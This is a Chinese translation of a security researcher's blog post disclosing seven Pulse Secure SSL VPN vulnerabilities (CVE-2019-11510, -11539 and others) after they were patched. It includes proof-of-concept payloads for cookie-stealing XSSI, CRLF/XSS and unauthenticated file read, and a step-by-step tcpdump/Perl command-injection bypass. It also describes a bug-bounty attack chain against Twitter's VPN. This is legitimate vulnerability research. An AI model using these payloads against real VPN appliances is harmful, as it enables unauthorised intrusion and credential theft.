当我们在Black Hat发表了关于VPN的安全性研究后,其中涉及的VPN漏洞的严重性和和易用性对安全界产生了巨大影响,引起了广泛的关注和讨论。许多人开始猜测我们何时会放出有关Pulse Secure VPN的漏洞细节。
我们也在内部讨论过这个问题,如果只是想获得媒体曝光和流量,我们可以毫不犹豫地放出所有漏洞细节。然而,作为一家安全公司,我们的责任是让世界更加安全,所以我们决定推迟披露时间,给厂商更多的时间来修复漏洞!
不过,这些漏洞也被其他人发现了。你可以在GitHub的[1][2][3]和exploit-db[1]上找到漏洞细节。说实话,我们不能说他们是错的,因为这些漏洞在几个月前就已经被通报修复,而且他们也花了很多时间进行各种不同实验。但这确实是一个值得安全界讨论的问题:如果你拥有核武器,那么什么时候可以分享给他人呢?
我们了解到有超过25个漏洞赏金项目涉及到相关VPN漏洞。从Bad Packet的统计来看,众多财富500强企业、美国军方、政府、金融机构和大学也受到了影响。甚至有10台NASA服务器也受到这个漏洞的影响。从另一方面来看,过早披露漏洞确实迫使这些组织升级他们的SSL VPN。
但是,这也导致越来越多的僵尸网络利用这个漏洞扫描互联网。显然,全世界还没有准备好。因此,如果你还没有更新你的Palo Alto, Pulse Secure SSL VPN,请尽快更新它!
目录
关于Pulse Secure
Pulse Secure是SSL VPN的市场领导者,也曾是谷歌关键基础设施建设的合作伙伴。他同时也是我们的长期目标之一,一直以来是我们的研究重点。当然,谷歌现在使用了零信任安全模型,抛弃了VPN。
我们在去年12月中旬开始深入研究Pulse Secure。头两个月,我们无任何收获。Pulse Secure的产品具有良好的编码风格和安全意识,因此很难发现严重漏洞。
同时,Pulse Secure也是一个Perl爱好者,用C++编写了许多Perl扩展。而Perl和C++之间的交互也让我们感到困惑,花了不少时间去研究。终于,我们在2019年3月8日找到了第一漏洞!它是管理界面上基于堆栈的溢出!虽然这个漏洞危害不是很大,但我们的研究从此步入正轨,随后发现了越来越多的漏洞。
2019年3月22日,我们向Pulse Secure PSIRT报告了我们的发现,他们的反应非常迅速,很认真的对待这些漏洞!在和Pulse Secure召开了几次电话会议之后,他们在一个月内修复了所有漏洞,并于2019年4月24日发布了安全补丁!
从我们的角度来看,Pulse Secure是我们遇到的SSL VPN厂商中最负责任的!
漏洞
我们一共发现了7个漏洞。其中重点是CVE-2019-11510和CVE-2019-11539。
CVE-2019-11510——任意文件读取(无需授权)CVE-2019-11542——堆栈缓冲区溢出(管理员权限)CVE-2019-11539——命令注入(管理员权限)CVE-2019-11538——通过NFS读取任意文件(用户权限)CVE-2019-11508——通过NFS写入任意文件(用户权限)CVE-2019-11540——跨站脚本包含(需授权)CVE-2019-11507——跨站脚本(需授权)影响版本
Pulse Connect Secure 9.0R1 - 9.0R3.3Pulse Connect Secure 8.3R1 - 8.3R7Pulse Connect Secure 8.2R1 - 8.2R12Pulse Connect Secure 8.1R1 - 8.1R15Pulse Policy Secure 9.0R1 - 9.0R3.3Pulse Policy Secure 5.4R1 - 5.4R7Pulse Policy Secure 5.3R1 - 5.3R12Pulse Policy Secure 5.2R1 - 5.2R12Pulse Policy Secure 5.1R1 - 5.1R15CVE-2019-11540:跨站脚本包含
脚本/dana/cs/cs.cgi利用javascript渲染session ID。因为content-type设置为application/x-javascript时,我们可以执行XSSI攻击来窃取DSID cookie!
更糟糕的是,Pulse Secure SSL VPN中的CSRF保护是基于DSID的,所以利用这个XSSI,我们可以绕过所有的CSRF保护!
PoC:
<!----> <script src="?action=appletobj"></script> <script> window.on load = function() { window.document.writeln = function (msg) { if (msg.indexOf("DSID") >= 0) alert(msg) } ReplaceContent() } </script>CVE-2019-11507:跨站脚本
在/dana/home/cts_get_ica.cgi中有一个CRLF注入。因此我们可以伪造任意HTTP头并注入恶意HTML内容。
PoC:
?bm_id=x &vdi=1 &appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>CVE-2019-11538:通过NFS读取任意文件(用户权限)
以下两个漏洞(CVE-2019-11538和CVE-2019-11508)在默认配置不存在。只有当管理员为VPN用户配置NFS共享时才会出现。
如果攻击者能够控制远程NFS服务器上的任何文件,那他就可以创建一个符号链接以链接到任何文件,比如/etc/passwd,然后从web接口读取。这漏洞的根本原因是NFS功能将远程服务器挂载为一个真正的Linux目录,而脚本/dana/fb/nfs/nfb.cgi并不会检查所访问的文件是否是符号链接!
CVE-2019-11508:通过NFS写入任意文件(用户权限)
与上面的漏洞类似,但攻击手段不同!
当攻击者通过web接口将ZIP文件上传到NFS时,脚本/dana/fb/nfs/nu.cgi并不会检查ZIP中的文件名。因此,攻击者可以构建恶意的ZIP文件名,例如使用../跳转路径。一旦成功解压,攻击者就可以上传文件到任何他想要的路径中!
CVE-2019-11542:堆栈缓冲区溢出(管理员权限)
以下Perl模块实现中存在基于堆栈的缓冲区溢出:
DSHC::ConsiderForReportingDSHC::isSendReasonStringEnabledDSHC::getRemedCustomInstructions以上模块实现使用了sprintf连接字符串而且不进行任何长度检查,这就很容易导致缓冲区溢出。这个漏洞可以在很多地方触发,这里我们使用/dana-admin/auth/hc.cgi作为示例PoC。
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA &policyid=0从dmesg中可以观察到错误信息。
cgi-server[22950]: segfault atip a80afd sp ff9a4d50 error 4 in DSHC.so[2a2f000+87000]CVE-2019-11510: 任意文件读取(无需授权)
实际上,这是最严重的漏洞。它出现在VPN的web应用中。正如我们先前所提到的,Pulse Secure从零开始实现了自己的web服务器和软件体系结构,在原始版本中路径验证是非常严格的。但是,从8.2版以来,Pulse Secure引入了一个称为HTML5 Access的新特性,它可让用户通过浏览器与Telnet、SSH和RDP进行交互的特性,而其中的路径验证逐渐变得松散。
为了处理静态资源,Pulse Secure在原来严格的路径验证中新增了一条if语句,而这段代码错误地使用了request->uri和request->filepath,因此我们可以在查询字符串的末尾附加/dana/html5acc/guacamole/来绕过安全验证,下载任何敏感文件!
值得一提的是,为了读取任意文件,你必须再次在路径中间添加/dana/html5acc/guacamole/,否则就只能下载规定后缀的文件,如.json、.xml或.html。
PoC:
import requests r = requests.get(?/dana/html5acc/guacamole/) print r.contentCVE-2019-11539:命令注入(管理员权限)
最后一个漏洞是管理接口上的命令注入。我们很早就发现了这个漏洞,但一开始并没有找到利用它的方法。当我们在拉斯维加斯的时候,我的一个朋友告诉我,他以前也发现过同样的漏洞,也没有找到利用它的方法,所以他没有向厂商报告。
但是,我们做到了,并且以一种非常聪明的方式:)
漏洞的成因非常简单。下面是/dana-admin/diag/diag.cgi的代码片段:
# ... $options = tcpdump_options_syntax_check(CGI::param("options")); # ... sub tcpdump_options_syntax_check { my $options = shift; return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0; return undef; }看上去似乎是如此明显和直接,每个人都可以发现,有一个参数存在注入!然而,真的那么简单吗?不!
为了避免系统的潜在漏洞,Pulse Secure在其产品上使用了大量的安全措施!例如,系统完整性检查、只读文件系统以及用一个模块来探测所有危险的Perl调用,如system、open和backtick等。
这个模块被称为DSSAFE.pm。它有自己的命令行分析器,并在Perl中实现I/O重定向,以下是Gist上的代码片段。
从代码片段中,你可以看到它替换了原始的system命令,并在_parsecmd中进行了大量安全检查。它还屏蔽许多恶意的字符,例如:
[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]检查如此严格,所以我们不能进行任何命令注入。我们设想了几种方法来绕过,首先是参数注入。我们列出了TCPDUMP支持的所有参数,并发现-z postrotate-command可能有用。但悲伤的是,Pulse Secure中的TCPDUMP太老了,不支持这个特性。
在检查系统时,我们发现虽然webroot是只读的,但是仍可以滥用缓存机制。Pulse Secure会在/data/runtime/tmp/tt/中缓存模板结果,以加速脚本渲染。因此,我们的下一步尝试是通过-w write-file参数将文件写入模板缓存目录。然而,似乎不可能同时用PCAP和Perl格式编写多语言文件。
由于我们似乎已经完成了参数注入,所以我们试图更深入地研究DSSFAFE.pm,看看是否有可以利用的东西。接着我们发现了命令行分析器中的一个缺陷,如果我们插入一个不完整的I/O重定向,重定向的其余部分将被截断。虽然这是一个小缺陷,但它能帮助我们重新控制I/O重定向!不过,无法生成有效的Perl脚本这个问题仍然困扰着我们。
目前来看,通过STDOUT很难生成一个有效的Perl脚本,那么我们可以用STDERR来编写Perl吗?答案是肯定的。当我们强制TCPDUMP通过-r read-file读取不存在的文件时,显示如下错误:
tcpdump: [filename]: No such file or directory似乎我们可以控制“部分”错误消息。当我们尝试打印文件名print 123#时,神奇的事情发生了!
$ tcpdump -d -r print 123# tcpdump: print 123#: No such file or directory $ tcpdump -d -r print 123# 2>&1 | perl – 123错误消息现在变成了一个有效的Perl脚本。为什么?好的,现在让我们学习Perl 101课程!
从上图可以看到,Perl支持GOTO标签,因此tcpdump:在Perl中成为一个有效的标签。然后,我们用hashtag注释其余部分。有了这个创造性的技巧,我们现在就可以生成任何有效的Perl脚本了!
最后,我们使用一个不完整的I/O符号<来欺骗DSSAFE.pm的命令分析器,并将STDERR重定向到缓存目录下!
-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <最后连接起来的命令看起来像:
/usr/sbin/tcpdump -d -r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1接着生成的setcookie.thtml.ttc看起来像:
tcpdump: $x="ls /",system$x#: No such file or directory最后,我们可以通过获取相应的页面来执行我们的命令:
$ curl bootbinhomelib64 mntoptprocsysusrvar dataetclib lost+foundmodulespkgsbintmp ...到目前为止,这个命令注入的技术部分已经结束。但是,我们认为可能存在另一种创造性的方式来利用这个漏洞,如果你找到,请告诉我!
案例研究
在Pulse Secure于2019年4月24日修复了所有漏洞之后。我们一直在监控互联网,查看每个大公司的响应时间,Twitter就是其中之一。他们以漏洞奖励计划和对黑客友好而闻名。然而,在我们等了30天后,Twitter才升级他们的SSL VPN。
不得不说,那段时间我们很紧张。我们每天早上做的第一件事就是检查Twitter是否升级了他们的SSL VPN !对我们来说,那是一段难忘的时光。
在2019年5月28日,我们开始攻击Twitter。在这次行动中,我们遇到了几个障碍。首先,虽然我们可以获得Twitter员工的明文密码,但是由于双因素的身份验证,仍然无法登录到他们的SSLVPN。这里我们尝试使用两种方法来绕过。首先,我们观察到Twitter使用了Duo的解决方案:
Duo应用的安全性与密钥(skey)安全性相关联。在任何情况下都不要与未经授权的个人分享密钥!因此,如果我们能够从系统中提取密钥,我们就可以利用Duo API绕过双因素验证。然而,我们很快找到了一个更好的方法,Twitter启用了Roaming Session功能,该功能涉及移动登录,允许来自多个IP的会话。
由于这个“方便”的功能,我们可以下载session数据库,然后伪造我们的cookie登录到他们的系统!
到目前为止,我们已经能够访问Twitter内网。然而,我们的目标是实现代码执行!这听起来比访问内网更重要。因此,我们希望能实现命令注入(CVE-2019-11539)。此时,我们又遇到了另一个障碍,就是管理界面受限!
由于我们的漏洞存在于管理接口上,但大多数公司出于安全考虑都在public层面禁止了这个接口,所以我们需要另一种访问管理员页面的方法。如果你仔细阅读了我们之前的文章,就可能会想起“WebVPN”功能!WebVPN是一种代理,可以帮助我们连接到任何地方。现在,让我们连接到它自己。
是的,这是一个SSRF漏洞!
通过SSRF,我们现在可以接触到界面了!然后,最后一个障碍出现了。我们没有管理者的明文密码。当Perl想要与本地程序(如C++中的Perl扩展或Web服务器)交换数据时,它会使用缓存来存储数据。但问题是,Pulse Secure在交换数据后忘记清除敏感数据,所以我们可以在缓存中获取明文密码。但实际上,大多数管理者仅登录一次,所以很难获得管理者的纯文本密码。我们唯一得到的是密码的sha256(md5_crypt(salt, …))哈希值。
如果你以前破解过哈希,你就会知道它有多难。所以…
我们租用了72核虚拟机来破解这个密码。
最终我们破解了密码,成功进行了远程命令执行!我认为我们很幸运,因为从资料来看,Twitter员工有一个非常强大的强制密码政策。但这项政策似乎不适用于管理者。这个密码的长度只有10,第一个字符是b,我们可以在3小时内破解。
我们向Twitter报告了所有的发现,并获得了最高的赏金。虽然我们不能证明这一点,但这似乎是有关Twitter服务器的第一次远程命令执行!如果你对完整的报告感兴趣,可以点击hackerone了解更多详细信息。
接管所有VPN客户端
在我们的研究过程中,发现了一种新的攻击手段来接管所有客户端。这就是“登录脚本”功能。它几乎出现在每个SSLVPN中,如OpenVPN、Fortinet、PulseSecure…等等。当建立了VPN连接,就会自动执行相应的脚本,以挂载网络文件系统或更改路由表。
一旦我们获得了管理权限,我们就可以利用这个功能感染所有的VPN客户端!以Pulse Secure为例,我们成功接管了所有连接VPN的客户机:
感谢所有我们认识、合作过的人。我们将在未来发表更多的安全研究!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:推特的Golden Pulse Secure SSL VPN远程命令执行攻击链条
原文:http://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务